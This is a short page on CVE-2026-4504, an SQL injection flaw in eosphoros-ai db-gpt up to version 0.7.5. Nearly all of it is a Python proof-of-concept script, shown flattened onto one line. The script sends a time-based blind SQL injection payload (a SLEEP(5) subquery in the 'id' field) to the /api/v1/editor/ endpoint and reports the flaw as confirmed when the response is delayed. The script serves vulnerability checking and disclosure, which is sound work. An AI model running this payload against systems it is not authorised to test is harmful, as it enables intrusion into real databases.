CVE-2026-4504: eosphoros-ai db-gpt SQL注入漏洞

import requests def check_sqli_vuln(target_url): """ Proof of Concept for CVE-2026-4504 Target: eosphoros-ai db-gpt <= 0.7.5 Endpoint: /api/v1/editor/ Vulnerability Type: SQL Injection """ # Vulnerable endpoint full_url = f"{target_url}/api/v1/editor/" # Payload to test for SQL Injection (Time-based blind) # Attempting to cause a delay of 5 seconds payload = { "id": "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" } try: print(f"[*] Sending payload to {full_url}...") response = requests.post(full_url, data=payload, timeout=10) # Check if response time indicates successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! SQL Injection detected.") print(f"[+] Response status: {response.status_code}") else: print("[-] Vulnerability not detected or payload failed.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target host target = "http://127.0.0.1:5000" check_sqli_vuln(target)